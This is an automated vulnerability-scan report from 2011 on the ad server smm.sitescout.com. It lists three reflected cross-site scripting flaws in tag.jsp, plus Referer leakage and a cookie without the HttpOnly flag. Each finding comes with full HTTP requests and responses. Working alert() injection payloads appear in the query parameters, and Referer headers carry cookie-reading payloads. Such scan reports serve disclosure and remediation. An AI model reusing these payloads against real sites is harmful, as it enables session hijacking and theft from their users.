XSS, smm.sitescout.com, Cross Site Scripting, CWE-79

CAPEC-86 in smm.sitescout.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Sat Jan 29 08:35:31 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://smm.sitescout.com/tag.jsp [h parameter]

1.2. http://smm.sitescout.com/tag.jsp [pid parameter]

1.3. http://smm.sitescout.com/tag.jsp [w parameter]

2. Cross-domain Referer leakage

2.1. http://smm.sitescout.com/disp

2.2. http://smm.sitescout.com/disp

3. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://smm.sitescout.com/tag.jsp [h parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e82fb'%3balert(1)//18af4187165 was submitted in the h parameter. This input was echoed as e82fb';alert(1)//18af4187165 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=79C8ECB&w=300&h=250e82fb'%3balert(1)//18af4187165&rnd=%r&cm=http://xads.zedo.com/ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1
Host: smm.sitescout.com
Proxy-Connection: keep-alive
Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 822
Date: Fri, 28 Jan 2011 17:00:30 GMT
Connection: close


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://smm.sitescout.com/disp?pid=79C8ECB&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D853584%3Bx%3D2304%3Bg%3D172%3Bc%3D1220000101%2C12
...[SNIP]...
<IFRAME SRC="'
+ pUrl
+ '" WIDTH="300" HEIGHT="250e82fb';alert(1)//18af4187165" MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR="#000000">
...[SNIP]...

1.2. http://smm.sitescout.com/tag.jsp [pid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 498fa"%3balert(1)//6c93725137d was submitted in the pid parameter. This input was echoed as 498fa";alert(1)//6c93725137d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=79C8ECB498fa"%3balert(1)//6c93725137d&w=300&h=250&rnd=%r&cm=http://xads.zedo.com/ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1
Host: smm.sitescout.com
Proxy-Connection: keep-alive
Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 822
Date: Fri, 28 Jan 2011 17:00:26 GMT
Connection: close


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://smm.sitescout.com/disp?pid=79C8ECB498fa";alert(1)//6c93725137d&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D853584%3Bx%3D2304%3Bg%3D172%3Bc%3D1220000101%2C1220000101%3Bi%3D0%3Bn%3D1220%3B1%3D8%3B2%3D1%3Bs%3D69%3Bg%3D172%3Bm%3D82%3Bw%3D47%3Bi%3D0%3Bu%3DINmz6woBA
...[SNIP]...

1.3. http://smm.sitescout.com/tag.jsp [w parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /tag.jsp

Issue detail

The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca607'%3balert(1)//e817e7d55a9 was submitted in the w parameter. This input was echoed as ca607';alert(1)//e817e7d55a9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag.jsp?pid=79C8ECB&w=300ca607'%3balert(1)//e817e7d55a9&h=250&rnd=%r&cm=http://xads.zedo.com/ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1
Host: smm.sitescout.com
Proxy-Connection: keep-alive
Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
Content-Type: application/x-javascript
Content-Length: 822
Date: Fri, 28 Jan 2011 17:00:28 GMT
Connection: close


var myRand=parseInt(Math.random()*99999999);

var pUrl = "http://smm.sitescout.com/disp?pid=79C8ECB&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D853584%3Bx%3D2304%3Bg%3D172%3Bc%3D1220000101%2C12
...[SNIP]...
<IFRAME SRC="'
+ pUrl
+ '" WIDTH="300ca607';alert(1)//e817e7d55a9" HEIGHT="250" MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR="#000000">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://smm.sitescout.com/disp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /disp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /disp?pid=52AF2E4&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D882519%3Bx%3D3584%3Bg%3D172%3Bc%3D1220000167%2C1220000167%3Bi%3D0%3Bn%3D1220%3B1%3D8%3B2%3D1%3Bs%3D126%3Bg%3D172%3Bm%3D82%3Bw%3D47%3Bi%3D0%3Bu%3DINmz6woBADYAAHrQ5V4AAACH%7E010411%3Bp%3D6%3Bf%3D1075159%3Bh%3D922865%3Bk%3Dhttp%3A%2F%2Fhpi.rotator.hadj7.adjuggler.net%2Fservlet%2Fajrotator%2F63723%2F0%2Fcj%2FV12D7843BC0J-573I704K63342ADC1D6F3ADC1D6F3K82427K82131QK63359QQP0G00G0Q05BC4B4000001E%2F&rand=54969238 HTTP/1.1
Host: smm.sitescout.com
Proxy-Connection: keep-alive
Referer: http://www.nydailynews.com/blogs70f75'%3balert(1)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
SAdBuild: 400
P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml"
Content-Type: text/html
Content-Length: 1265
Date: Fri, 28 Jan 2011 14:48:34 GMT
Connection: close


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="Tue, 01 Jan 2000 12:12:12 GMT">

...[SNIP]...
%3Dhttp%3A%2F%2Fhpi.rotator.hadj7.adjuggler.net%2Fservlet%2Fajrotator%2F63723%2F0%2Fcj%2FV12D7843BC0J-573I704K63342ADC1D6F3ADC1D6F3K82427K82131QK63359QQP0G00G0Q05BC4B4000001E%2F" target="_blank">
<img src="http://smm.sitescout.netdna-cdn.com/local-728-2-e6c798f.gif" alt="" border="0">
</a>
...[SNIP]...

2.2. http://smm.sitescout.com/disp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /disp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /disp?pid=79C8ECB&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D853584%3Bx%3D2304%3Bg%3D172%3Bc%3D1220000101%2C1220000101%3Bi%3D0%3Bn%3D1220%3B1%3D8%3B2%3D1%3Bs%3D69%3Bg%3D172%3Bm%3D82%3Bw%3D47%3Bi%3D0%3Bu%3DINmz6woBADYAAHrQ5V4AAACH%7E010411%3Bp%3D6%3Bf%3D990638%3Bh%3D922865%3Bk%3Dhttp%3A%2F%2Fhpi.rotator.hadj7.adjuggler.net%2Fservlet%2Fajrotator%2F63722%2F0%2Fcj%2FV127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016%2F&rand=85624985 HTTP/1.1
Host: smm.sitescout.com
Proxy-Connection: keep-alive
Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
SAdBuild: 400
P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml"
Content-Type: text/html
Content-Length: 1266
Date: Fri, 28 Jan 2011 14:14:37 GMT
Connection: close


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="Tue, 01 Jan 2000 12:12:12 GMT">

...[SNIP]...
%3Dhttp%3A%2F%2Fhpi.rotator.hadj7.adjuggler.net%2Fservlet%2Fajrotator%2F63722%2F0%2Fcj%2FV127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016%2F" target="_blank">
<img src="http://smm.sitescout.netdna-cdn.com/300x250_lady31-1837a12.gif" alt="" border="0">
</a>
...[SNIP]...

3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://smm.sitescout.com
Path:   /click

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /click?clid=5369bdc&rand=1296224077262&sid=&cm=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%3Fa%3D853584%3Bx%3D2304%3Bg%3D172%3Bc%3D1220000101%2C1220000101%3Bi%3D0%3Bn%3D1220%3B1%3D8%3B2%3D1%3Bs%3D69%3Bg%3D172%3Bm%3D82%3Bw%3D47%3Bi%3D0%3Bu%3DINmz6woBADYAAHrQ5V4AAACH%7E010411%3Bp%3D6%3Bf%3D990638%3Bh%3D922865%3Bk%3Dhttp%3A%2F%2Fhpi.rotator.hadj7.adjuggler.net%2Fservlet%2Fajrotator%2F63722%2F0%2Fcj%2FV127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016%2F HTTP/1.1
Host: smm.sitescout.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: max-age=0,no-cache,no-store
Pragma: no-cache
Expires: Tue, 11 Oct 1977 12:34:56 GMT
SAdBuild: 400
P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml"
Set-Cookie: sadscpax=5369bdc-; Domain=smm.sitescout.com; Expires=Sat, 29-Jan-2011 17:29:42 GMT; Path=/
Location: http://xads.zedo.com/ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/http%3A%2F%2Fconsumertipsonline.net%2Fhealth%2Fus4.php%3Ft%3D59
Content-Length: 0
Date: Fri, 28 Jan 2011 17:05:41 GMT
Connection: close


Report generated by CloudScan Vulnerability Crawler at Sat Jan 29 08:35:31 CST 2011.